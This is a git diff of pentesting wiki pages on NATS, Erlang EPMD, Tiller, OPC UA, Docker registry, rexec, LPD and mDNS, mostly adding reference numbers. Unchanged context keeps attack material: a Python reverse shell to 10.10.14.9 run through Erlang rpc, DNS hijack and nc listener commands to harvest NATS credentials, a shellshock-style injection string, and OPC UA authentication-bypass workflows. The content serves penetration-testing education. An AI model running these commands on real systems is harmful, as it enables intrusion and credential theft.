diff --git a/src/network-services-pentesting/4222-pentesting-nats.md b/src/network-services-pentesting/4222-pentesting-nats.md index ce371f15b9d..5694170fffd 100644 --- a/src/network-services-pentesting/4222-pentesting-nats.md +++ b/src/network-services-pentesting/4222-pentesting-nats.md @@ -39,8 +39,8 @@ Authentication failures immediately raise `nats: Authorization Violation`, so va ## Credential capture via DNS/service impersonation -+ Identify stale AD DNS entries for the broker hostname (e.g. `nats-svc.domain.local`). If the record returns `NXDOMAIN`, a low-privileged domain user can recreate it thanks to default dynamic-update ACLs. See [AD DNS Records abuse](../windows-hardening/active-directory-methodology/ad-dns-records.md) for background.[[1]](#references) -+ Register the hostname to an attacker-controlled IP: +- Identify stale AD DNS entries for the broker hostname (e.g. `nats-svc.domain.local`). If the record returns `NXDOMAIN`, a low-privileged domain user can recreate it thanks to default dynamic-update ACLs. See [AD DNS Records abuse](../windows-hardening/active-directory-methodology/ad-dns-records.md) for background.[[1]](#references) +- Register the hostname to an attacker-controlled IP: ```bash nsupdate @@ -49,14 +49,14 @@ nsupdate > send ``` -+ Mirror the legitimate banner once, then replay it to every connecting client. NATS trusts the first `INFO` line it sees, so we only need to pipe it through a listener: +- Mirror the legitimate banner once, then replay it to every connecting client. NATS trusts the first `INFO` line it sees, so we only need to pipe it through a listener: ```bash nc REAL_NATS 4222 | head -1 | nc -lnvp 4222 ``` -+ As soon as an internal client resolves the hijacked name, it will emit a plaintext `CONNECT` frame containing the `user` / `pass` pair and various telemetry (client name, Go version, protocol level). Because nothing past the INFO banner is required, even `nc` is enough to harvest secrets. -+ For longer engagements, run the official server locally (`git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V`). TRACE logging already shows usernames; removing the redaction helper or sniffing traffic with Wireshark reveals the full password. +- As soon as an internal client resolves the hijacked name, it will emit a plaintext `CONNECT` frame containing the `user` / `pass` pair and various telemetry (client name, Go version, protocol level). Because nothing past the INFO banner is required, even `nc` is enough to harvest secrets. +- For longer engagements, run the official server locally (`git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V`). TRACE logging already shows usernames; removing the redaction helper or sniffing traffic with Wireshark reveals the full password. ## JetStream looting & password hunting diff --git a/src/network-services-pentesting/43-pentesting-whois.md b/src/network-services-pentesting/43-pentesting-whois.md index a04f8c6ed77..df244fa0849 100644 --- a/src/network-services-pentesting/43-pentesting-whois.md +++ b/src/network-services-pentesting/43-pentesting-whois.md @@ -153,8 +153,6 @@ Entry_3: Command: nmap --script whois-domain,whois-ip --script-args whois.whodb=nocache {IP} ``` - - ## References - [1] [ICANN Update: Launching RDAP; Sunsetting WHOIS](https://www.icann.org/en/announcements/details/icann-update-launching-rdap-sunsetting-whois-27-01-2025-en) diff --git a/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md b/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md index 75eb61f2a98..eeff49470fd 100644 --- a/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md +++ b/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md @@ -50,7 +50,7 @@ PORT STATE SERVICE VERSION ### Remote Connection -If you can **leak the Authentication cookie** you will be able to execute code on the host. Usually, this cookie is located in `~/.erlang.cookie` and is generated by erlang at the first start. If not modified or set manually it is a random string \[A:Z] with a length of 20 characters. +If you can **leak the Authentication cookie** you will be able to execute code on the host. Usually, this cookie is located in `~/.erlang.cookie` and is generated by erlang at the first start. If not modified or set manually it is a random string \[A:Z] with a length of 20 characters.[[1]](#references) ```bash greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn @@ -64,7 +64,7 @@ At last, we can start an erlang shell on the remote system. "uid=0(root) gid=0(root) groups=0(root)\n" ``` -More information in [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\ +More information in [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)[[1]](#references)\ The author also share a program to brutforce the cookie: {{#file}} @@ -73,7 +73,7 @@ epmd_bf-0.1.tar.bz2 ### Local Connection -In this case we are going to abuse CouchDB to escalate privileges locally: +In this case we are going to abuse CouchDB to escalate privileges locally:[[2]](#references) ```bash HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE @@ -82,7 +82,7 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE (anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]). ``` -Example taken from [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\ +Example taken from [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)[[3]](#references)\ You can use **Canape HTB machine to** **practice** how to **exploit this vuln**. ### Metasploit @@ -96,4 +96,10 @@ msf5> use exploit/multi/misc/erlang_cookie_rce - `port:4369 "at port"` +## References + +- [1] [Erlang distribution RCE and a cookie bruteforcer](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/) +- [2] [HTB: Canape](https://0xdf.gitlab.io/2018/09/15/htb-canape.html) +- [3] [2018/09](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/44134-pentesting-tiller-helm.md b/src/network-services-pentesting/44134-pentesting-tiller-helm.md index 5a01df8199b..149f302dc70 100644 --- a/src/network-services-pentesting/44134-pentesting-tiller-helm.md +++ b/src/network-services-pentesting/44134-pentesting-tiller-helm.md @@ -56,7 +56,7 @@ helm --host tiller-deploy.kube-system:44134 version ### Privilege Escalation -By default **Helm2** was installed in the **namespace kube-system** with **high privileges**, so if you find the service and has access to it, this could allow you to **escalate privileges**. +By default **Helm2** was installed in the **namespace kube-system** with **high privileges**, so if you find the service and has access to it, this could allow you to **escalate privileges**.[[1]](#references) All you need to do is to install a package like this one: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) that will give the **default service token access to everything in the whole cluster.** @@ -70,9 +70,6 @@ In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) you have the **e ## References -- [1] [Helm/Tiller privilege escalation attack explanation](http://rui0.cn/archives/1573) +- [1] [Kubernetes中使用Helm2的安全风险 (Security Risks of Using Helm2 in Kubernetes)](http://rui0.cn/archives/1573) {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/44818-ethernetip.md b/src/network-services-pentesting/44818-ethernetip.md index 325ff3d66fd..e55bec569c1 100644 --- a/src/network-services-pentesting/44818-ethernetip.md +++ b/src/network-services-pentesting/44818-ethernetip.md @@ -26,6 +26,3 @@ python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity - `port:44818 "product name"` {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/47808-udp-bacnet.md b/src/network-services-pentesting/47808-udp-bacnet.md index a6518aefcae..9c9a6e32594 100644 --- a/src/network-services-pentesting/47808-udp-bacnet.md +++ b/src/network-services-pentesting/47808-udp-bacnet.md @@ -53,6 +53,3 @@ This script does not attempt to join a BACnet network as a foreign device, it si - `"Instance ID" "Vendor Name"` {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/4786-cisco-smart-install.md b/src/network-services-pentesting/4786-cisco-smart-install.md index 9eb8a7e6eb5..86f413f3412 100644 --- a/src/network-services-pentesting/4786-cisco-smart-install.md +++ b/src/network-services-pentesting/4786-cisco-smart-install.md @@ -24,7 +24,7 @@ PORT STATE SERVICE - call RCE - steal configurations of network equipment. -**The** [**SIET**](https://github.com/frostbits-security/SIET) **(Smart Install Exploitation Tool)** was developed to exploit this vulnerability, it allows you to abuse Cisco Smart Install. In this article I will show you how you can read a legitimate network hardware configuration file. Configure exfiltration can be valuable for a pentester because it will learn about the unique features of the network. And this will make life easier and allow finding new vectors for an attack. +**The** [**SIET**](https://github.com/frostbits-security/SIET) **(Smart Install Exploitation Tool)** was developed to exploit this vulnerability, it allows you to abuse Cisco Smart Install. In this article I will show you how you can read a legitimate network hardware configuration file. Configure exfiltration can be valuable for a pentester because it will learn about the unique features of the network. And this will make life easier and allow finding new vectors for an attack.[[1]](#references) **The target device will be a “live” Cisco Catalyst 2960 switch. Virtual images do not have Cisco Smart Install, so you can only practice on the real hardware.** @@ -40,8 +40,8 @@ The switch configuration **10.10.100.10** will be in the **tftp/** folder
+## References -{{#include ../banners/hacktricks-training.md}} - - +- [1] [SIET - Smart Install Exploitation Tool](https://github.com/frostbits-security/SIET) +{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/4840-pentesting-opc-ua.md b/src/network-services-pentesting/4840-pentesting-opc-ua.md index 31f4621e177..74a1eee5490 100644 --- a/src/network-services-pentesting/4840-pentesting-opc-ua.md +++ b/src/network-services-pentesting/4840-pentesting-opc-ua.md @@ -25,7 +25,7 @@ PORT STATE SERVICE REASON ## Pentesting OPC UA -To reveal security issues in OPC UA servers, scan it with [OpalOPC](https://opalopc.com/). +To reveal security issues in OPC UA servers, scan it with [OpalOPC](https://opalopc.com/).[[1]](#references) ```bash opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port @@ -54,7 +54,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port ### Automated assessment with OpalOPC -- The scanner can run interactively or headless, which is handy for CI/CD style OT baselines. Pipe its machine-readable findings into your reporting pipeline to highlight anonymous logins, weak policies, certificate validation errors and writable variables in minutes. +- The scanner can run interactively or headless, which is handy for CI/CD style OT baselines. Pipe its machine-readable findings into your reporting pipeline to highlight anonymous logins, weak policies, certificate validation errors and writable variables in minutes.[[1]](#references) - Combine OpalOPC output with manual browsing: feed the discovered endpoint list back into your custom tooling, then selectively weaponize high-impact nodes (e.g., `MotorControl/StartStop`, `RecipeManager/Upload`). ### Targeting discovery infrastructure, GDS & Reverse Connect @@ -65,15 +65,15 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port ### Attacking legacy security policies (Basic128Rsa15) -- **Bleichenbacher-style oracle:** Systems that still allow the deprecated `Basic128Rsa15` policy (often toggled via build flags such as `CMPOPCUASTACK_ALLOW_SHA1_BASED_SECURITY`) leak padding validation differences. Exploit this by flooding `CreateSession` / `OpenSecureChannel` handshakes with crafted PKCS#1 v1.5 blobs to recover the server certificate’s private key, then impersonate the server or decrypt traffic. -- **Authentication bypass:** OPC Foundation’s .NET Standard stack prior to 1.5.374.158 (CVE-2024-42512) and dependent products let unauthenticated attackers force that legacy policy and subsequently skip application-level authentication. Once you own the key material you can present arbitrary `UserIdentityTokens`, replay signed `ActivateSession` requests, and operate the plant as a trusted engineering workstation. +- **Bleichenbacher-style oracle:** Systems that still allow the deprecated `Basic128Rsa15` policy (often toggled via build flags such as `CMPOPCUASTACK_ALLOW_SHA1_BASED_SECURITY`) leak padding validation differences. Exploit this by flooding `CreateSession` / `OpenSecureChannel` handshakes with crafted PKCS#1 v1.5 blobs to recover the server certificate’s private key, then impersonate the server or decrypt traffic.[[7]](#references) +- **Authentication bypass:** OPC Foundation’s .NET Standard stack prior to 1.5.374.158 (CVE-2024-42512) and dependent products let unauthenticated attackers force that legacy policy and subsequently skip application-level authentication. Once you own the key material you can present arbitrary `UserIdentityTokens`, replay signed `ActivateSession` requests, and operate the plant as a trusted engineering workstation.[[7]](#references) - **Operational workflow:** 1. Enumerate policies with `GetEndpoints` and note any `Basic128Rsa15` entries. 2. Negotiate that policy explicitly (`SecurityPolicyUri` in `CreateSession`), then run your oracle loop until the recovered key validates. 3. Abuse the key to forge a high-privilege session, switch roles, or silently downgrade other clients by acting as a rogue reverse proxy. -- **CODESYS Runtime Toolkit (<3.5.21.0)** re-enabled Basic128Rsa15 whenever integrators compile with `CMPOPCUASTACK_ALLOW_SHA1_BASED_SECURITY`. Flip that flag, re-run the oracle workflow above, and you can leak the runtime's private key to impersonate trusted engineering workstations until patch level 3.5.21.0 or later is deployed. -- **HTTPS reflection / relay bypasses:** 2025 research showed that HTTPS bindings deserve separate testing. OPC UA over HTTPS skips the binary `OpenSecureChannel` handshake, so endpoints that trust their own certificate or can be chained in a relay can still yield application-authentication bypasses (the same area covered by CVE-2024-42513 in the OPC Foundation .NET stack). -- **Practical tooling:** Secura's `opcattack` turns the theory above into a repeatable test flow: +- **CODESYS Runtime Toolkit (<3.5.21.0)** re-enabled Basic128Rsa15 whenever integrators compile with `CMPOPCUASTACK_ALLOW_SHA1_BASED_SECURITY`. Flip that flag, re-run the oracle workflow above, and you can leak the runtime's private key to impersonate trusted engineering workstations until patch level 3.5.21.0 or later is deployed.[[3]](#references) +- **HTTPS reflection / relay bypasses:** 2025 research showed that HTTPS bindings deserve separate testing. OPC UA over HTTPS skips the binary `OpenSecureChannel` handshake, so endpoints that trust their own certificate or can be chained in a relay can still yield application-authentication bypasses (the same area covered by CVE-2024-42513 in the OPC Foundation .NET stack).[[7]](#references) +- **Practical tooling:** Secura's `opcattack` turns the theory above into a repeatable test flow:[[6]](#references) ```bash # Enumerate binary + HTTPS endpoints and flag applicable attacks opcattack.py check opc.tcp://$TARGET:4840 @@ -91,8 +91,8 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port ### 2024-2025 exploit watchlist -- **open62541 fuzz_binary_decode (CVE-2024-53429):** SecureChannel chunks that declare oversized `ExtensionObject` bodies make the decoder dereference freed memory, so a pre-auth attacker can repeatedly crash UA servers that embed open62541 ≤1.4.6. Reuse the Claroty corpus (`opcua_message_boofuzz_db`) or craft your own Boofuzz harness to spam mutated `OpenSecureChannel` requests until the watchdog kills the process, then re-enumerate because many integrators fall back to anonymous mode after the reboot. -- **Softing OPC UA C++ SDK / edgeConnector / edgeAggregator (CVE-2025-7390):** The TLS client-auth pipeline accepts any certificate that replays a trusted Common Name, so you can mint a throwaway cert, copy the CN from a plant engineer, and log in with arbitrary `UserNameIdentityToken` or `IssuedIdentityToken` data. Pair this with a downgrade to Basic128Rsa15 to strip integrity checks and persistently impersonate operators until trustlists are rebuilt. +- **open62541 fuzz_binary_decode (CVE-2024-53429):** SecureChannel chunks that declare oversized `ExtensionObject` bodies make the decoder dereference freed memory, so a pre-auth attacker can repeatedly crash UA servers that embed open62541 ≤1.4.6. Reuse the Claroty corpus (`opcua_message_boofuzz_db`) or craft your own Boofuzz harness to spam mutated `OpenSecureChannel` requests until the watchdog kills the process, then re-enumerate because many integrators fall back to anonymous mode after the reboot.[[4]](#references) +- **Softing OPC UA C++ SDK / edgeConnector / edgeAggregator (CVE-2025-7390):** The TLS client-auth pipeline accepts any certificate that replays a trusted Common Name, so you can mint a throwaway cert, copy the CN from a plant engineer, and log in with arbitrary `UserNameIdentityToken` or `IssuedIdentityToken` data. Pair this with a downgrade to Basic128Rsa15 to strip integrity checks and persistently impersonate operators until trustlists are rebuilt.[[5]](#references) ### Crafting OPC UA clients for exploitation @@ -106,7 +106,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port ### Fuzzing & exploit development tooling -Claroty Team82 released an open-source `opcua-exploit-framework` that packages years of Pwn2Own-grade research into reusable modules: +Claroty Team82 released an open-source `opcua-exploit-framework` that packages years of Pwn2Own-grade research into reusable modules:[[2]](#references) - **Modes:** `sanity` (lightweight reads/browses), `attacks` (e.g., thread pool starvation, file upload DoS), `corpus` (replay fuzzing payloads), `server` (rogue OPC UA server to backdoor clients). - **Usage pattern:** @@ -143,13 +143,12 @@ Combine the search with vendor strings (`"Ignition OPC UA"`, `"KepServerEX"`) or ## References -- [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/) -- [https://github.com/claroty/opcua-exploit-framework](https://github.com/claroty/opcua-exploit-framework) -- [https://certvde.com/en/advisories/VDE-2025-022/](https://certvde.com/en/advisories/VDE-2025-022/) -- [https://nvd.nist.gov/vuln/detail/CVE-2024-53429](https://nvd.nist.gov/vuln/detail/CVE-2024-53429) -- [https://industrial.softing.com/fileadmin/psirt/downloads/2025/CVE-2025-7390.html](https://industrial.softing.com/fileadmin/psirt/downloads/2025/CVE-2025-7390.html) -- [https://github.com/SecuraBV/opcattack](https://github.com/SecuraBV/opcattack) -- [https://i.blackhat.com/BH-USA-25/Presentations/USA-25-Tervoort-No-VPN-Needed-Cryptographic-Attacks.pdf](https://i.blackhat.com/BH-USA-25/Presentations/USA-25-Tervoort-No-VPN-Needed-Cryptographic-Attacks.pdf) - +- [1] [How to Hack OPC UA - OpalOPC](https://opalopc.com/how-to-hack-opc-ua/) +- [2] [opcua-exploit-framework - Claroty Team82](https://github.com/claroty/opcua-exploit-framework) +- [3] [VDE-2025-022: CODESYS Control V3 - OPC UA Server Authentication Bypass (CVE-2025-1468)](https://certvde.com/en/advisories/VDE-2025-022/) +- [4] [CVE-2024-53429 - open62541 fuzz_binary_decode assertion failure](https://nvd.nist.gov/vuln/detail/CVE-2024-53429) +- [5] [CVE-2025-7390 - Softing OPC UA client certificate trust bypass](https://industrial.softing.com/fileadmin/psirt/downloads/2025/CVE-2025-7390.html) +- [6] [opcattack - Secura OPC UA attack tool](https://github.com/SecuraBV/opcattack) +- [7] [No VPN Needed? Cryptographic Attacks Against the OPC UA Protocol - Black Hat USA 2025 (Tervoort/Secura)](https://i.blackhat.com/BH-USA-25/Presentations/USA-25-Tervoort-No-VPN-Needed-Cryptographic-Attacks.pdf) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/49-pentesting-tacacs+.md b/src/network-services-pentesting/49-pentesting-tacacs+.md index cdfaa731e15..da97e30c7fc 100644 --- a/src/network-services-pentesting/49-pentesting-tacacs+.md +++ b/src/network-services-pentesting/49-pentesting-tacacs+.md @@ -87,7 +87,7 @@ By gaining access to the control panel of network equipment using the obtained c ## References - [1] [RFC 8907 - The TACACS+ Protocol](https://datatracker.ietf.org/doc/html/rfc8907) -- [2] [TacoTaco - Attacks on TACACS+](https://github.com/GrrrDog/TacoTaco) +- [2] [TacoTaco - MitM traffic manipulation and offline cracking tools for TACACS+](https://github.com/GrrrDog/TacoTaco) - [3] [RFC 9887 - Using Transport Layer Security (TLS) to Secure TACACS+](https://datatracker.ietf.org/doc/html/rfc9887) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/5000-pentesting-docker-registry.md b/src/network-services-pentesting/5000-pentesting-docker-registry.md index 1370449c7b0..9659a856055 100644 --- a/src/network-services-pentesting/5000-pentesting-docker-registry.md +++ b/src/network-services-pentesting/5000-pentesting-docker-registry.md @@ -6,7 +6,7 @@ A storage and distribution system known as a **Docker registry** is in place for Docker images that are named and may come in multiple versions, distinguished by tags. These images are organized within **Docker repositories** in the registry, each repository storing various versions of a specific image. The functionality provided allows for images to be downloaded locally or uploaded to the registry, assuming the user has the necessary permissions. -**DockerHub** serves as the default public registry for Docker, but users also have the option to operate an on-premise version of the open-source Docker registry/distribution or opt for the commercially supported **Docker Trusted Registry**. Additionally, various other public registries can be found online. +**DockerHub** serves as the default public registry for Docker, but users also have the option to operate an on-premise version of the open-source Docker registry/distribution or opt for the commercially supported **Docker Trusted Registry**. Additionally, various other public registries can be found online.[[1]](#references) To download an image from an on-premise registry, the following command is used: @@ -76,7 +76,7 @@ curl -k -u username:password https://10.10.10.10:5000/v2/_catalog ### Enumeration using DockerRegistryGrabber -[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) is a python tool to enumerate / dump docker degistry (without or with basic authentication) +[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) is a python tool to enumerate / dump docker degistry (without or with basic authentication)[[2]](#references) ```bash usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url @@ -312,9 +312,7 @@ docker push registry:5000/sshd-docker-cli #Push it ## References -- [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/) +- [1] [What Is a Docker Registry? - Aqua Security Cloud Native Academy](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/) +- [2] [DockerRegistryGrabber - Docker Registry grabber tool](https://github.com/Syzik/DockerRegistryGrabber) {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md b/src/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md index 5f42e7e0168..780bb37da3c 100644 --- a/src/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md +++ b/src/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md @@ -67,7 +67,7 @@ If port **8031/8032 RPC** is exposed, older clusters allow the same job submissi ## Local PrivEsc from YARN containers (CVE-2023-26031) -Hadoop 3.3.1–3.3.4 **container-executor** loads libs from a **relative RUNPATH**. A user who can run YARN containers (including remote submitters on insecure clusters) may drop a malicious `libcrypto.so` in a writable path and get **root** when `container-executor` runs with SUID.[[2]](#references) +Hadoop 3.3.1–3.3.4 **container-executor** loads libs from a **relative RUNPATH**. A user who can run YARN containers (including remote submitters on insecure clusters) may drop a malicious `libcrypto.so` in a writable path and get **root** when `container-executor` runs with SUID.[[1]](#references)[[2]](#references) Quick check: @@ -77,7 +77,7 @@ readelf -d /opt/hadoop/bin/container-executor | grep 'RUNPATH\|RPATH' ls -l /opt/hadoop/bin/container-executor # SUID+root makes it exploitable ``` -Fixed in **3.3.5**; ensure the binary is not SUID if secure containers aren’t required.[[1]](#references) +Fixed in **3.3.5**; ensure the binary is not SUID if secure containers aren’t required. ## References diff --git a/src/network-services-pentesting/512-pentesting-rexec.md b/src/network-services-pentesting/512-pentesting-rexec.md index cfd56ffe649..5efd6bbd0e1 100644 --- a/src/network-services-pentesting/512-pentesting-rexec.md +++ b/src/network-services-pentesting/512-pentesting-rexec.md @@ -42,11 +42,11 @@ nc -lvnp 4444 printf '4444\0user\0password\0id; uname -a\0' | nc 512 ``` -Many common implementations (for example GNU `rexecd`) still enforce **16-byte username/password fields** and return **different diagnostic strings** for invalid usernames vs invalid passwords. That matters during enumeration because some targets leak whether the account exists before you start brute forcing. +Many common implementations (for example GNU `rexecd`) still enforce **16-byte username/password fields** and return **different diagnostic strings** for invalid usernames vs invalid passwords. That matters during enumeration because some targets leak whether the account exists before you start brute forcing.[[1]](#references) ### Manual usage with the client -Many Linux distributions still ship the legacy client inside the **inetutils-rexec** / **rsh-client** package: +Many Linux distributions still ship the legacy client inside the **inetutils-rexec** / **rsh-client** package:[[1]](#references) ```bash rexec -l user -p password "uname -a" @@ -75,7 +75,7 @@ nmap -sV -p 512 nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" ``` -The `rexec-brute` NSE uses the protocol described above to try credentials very quickly . +The `rexec-brute` NSE uses the protocol described above to try credentials very quickly.[[2]](#references) ### Hydra / Medusa / Ncrack @@ -159,9 +159,9 @@ tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \ --- - ## References -* GNU Inetutils `rexecd` / `rexec` documentation – [https://www.gnu.org/software/inetutils/manual/html_node/rexecd-invocation.html](https://www.gnu.org/software/inetutils/manual/html_node/rexecd-invocation.html) -* Nmap NSE `rexec-brute` documentation – [https://nmap.org/nsedoc/scripts/rexec-brute.html](https://nmap.org/nsedoc/scripts/rexec-brute.html) +- [1] [GNU Inetutils `rexecd` / `rexec` documentation](https://www.gnu.org/software/inetutils/manual/html_node/rexecd-invocation.html) +- [2] [Nmap NSE `rexec-brute` documentation](https://nmap.org/nsedoc/scripts/rexec-brute.html) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md b/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md index 2b196132ca6..63168ecc95b 100644 --- a/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md +++ b/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md @@ -25,7 +25,7 @@ lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4' lpdtest.py hostname mail lpdtest@mailhost.local ``` -For individuals interested in further exploring the realm of **printer hacking**, a comprehensive resource can be found here: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page). +For individuals interested in further exploring the realm of **printer hacking**, a comprehensive resource can be found here: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).[[1]](#references) ## Shodan @@ -36,6 +36,3 @@ For individuals interested in further exploring the realm of **printer hacking** - [1] [Hacking Printers Wiki](http://hacking-printers.net/wiki/index.php/Main_Page) {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md index ae08a27a9ff..38ec82aaf7a 100644 --- a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md +++ b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -4,7 +4,7 @@ ## Basic Information -Multicast DNS (mDNS) enables DNS-like name resolution and service discovery inside a local link without a unicast DNS server. It uses UDP/5353 and the multicast addresses 224.0.0.251 (IPv4) and FF02::FB (IPv6). DNS Service Discovery (DNS-SD, typically used with mDNS) provides a standardized way to enumerate and describe services via PTR, SRV and TXT records. +Multicast DNS (mDNS) enables DNS-like name resolution and service discovery inside a local link without a unicast DNS server. It uses UDP/5353 and the multicast addresses 224.0.0.251 (IPv4) and FF02::FB (IPv6). DNS Service Discovery (DNS-SD, typically used with mDNS) provides a standardized way to enumerate and describe services via PTR, SRV and TXT records.[[1]](#references) ``` PORT STATE SERVICE @@ -27,7 +27,7 @@ Services are identified as _._tcp or _._udp under .local, e.g. ```bash nmap -sU -p 5353 --script=dns-service-discovery ``` -- nmap broadcast discovery (listen to the segment and enumerate all DNS-SD types/instances): +- nmap broadcast discovery (listen to the segment and enumerate all DNS-SD types/instances):[[2]](#references) ```bash sudo nmap --script=broadcast-dns-service-discovery ``` @@ -61,7 +61,7 @@ Tip: Some browsers/WebRTC use ephemeral mDNS hostnames to mask local IPs. If you ### mDNS name probing interference (DoS / name squatting) -During the probing phase, a host checks name uniqueness. Responding with spoofed conflicts forces it to pick new names or fail. This can delay or prevent service registration and discovery. +During the probing phase, a host checks name uniqueness. Responding with spoofed conflicts forces it to pick new names or fail. This can delay or prevent service registration and discovery.[[1]](#references) Example with Pholus: ```bash @@ -76,7 +76,7 @@ Impersonate advertised DNS-SD services (printers, AirPlay, HTTP, file shares) to - Lure clients to HTTP/HTTPS services to harvest tokens/cookies or deliver payloads. - Combine with NTLM relay techniques when Windows clients negotiate auth to spoofed services. -With bettercap’s zerogod module (mDNS/DNS-SD spoofer/impersonator): +With bettercap’s zerogod module (mDNS/DNS-SD spoofer/impersonator):[[3]](#references) ```bash # Start mDNS/DNS-SD discovery sudo bettercap -iface -eval "zerogod.discovery on" @@ -107,9 +107,9 @@ Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay work ### Notes on recent implementation issues (useful for DoS/persistence during engagements) - Avahi reachable-assertion and D-Bus crash bugs (2023) can terminate avahi-daemon on Linux distributions (e.g. CVE-2023-38469..38473, CVE-2023-1981), disrupting service discovery on target hosts until restart. -- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303) lets adjacent WLAN clients flood crafted mDNS, spiking WLC CPU and dropping AP tunnels—handy if you need to force client roaming or controller resets during an engagement. -- Apple mDNSResponder logic error DoS (CVE-2024-44183) lets a sandboxed local process crash Bonjour to briefly suppress service publication/lookup on Apple endpoints; patched in current iOS/macOS releases. -- Apple mDNSResponder correctness issue (CVE-2025-31222) allowed local privilege escalation via mDNSResponder; useful for persistence on unmanaged Macs/iPhones, fixed in recent iOS/macOS updates. +- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303) lets adjacent WLAN clients flood crafted mDNS, spiking WLC CPU and dropping AP tunnels—handy if you need to force client roaming or controller resets during an engagement.[[4]](#references) +- Apple mDNSResponder logic error DoS (CVE-2024-44183) lets a sandboxed local process crash Bonjour to briefly suppress service publication/lookup on Apple endpoints; patched in current iOS/macOS releases.[[5]](#references) +- Apple mDNSResponder correctness issue (CVE-2025-31222) allowed local privilege escalation via mDNSResponder; useful for persistence on unmanaged Macs/iPhones, fixed in recent iOS/macOS updates.[[6]](#references) ### Browser/WebRTC mDNS considerations @@ -161,11 +161,11 @@ For more information check: ## References -- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y) -- [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html) -- [bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)](https://www.bettercap.org/modules/ethernet/zerogod/) -- [Cisco IOS XE WLC mDNS gateway DoS (CVE-2024-20303) advisory](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-wlc-mdns-dos-4hv6pBGf.html) -- [Rapid7 advisory for Apple mDNSResponder CVE-2024-44183](https://www.rapid7.com/db/vulnerabilities/apple-mdnsresponder-cve-2024-44183/) -- [Rapid7 writeup of Apple 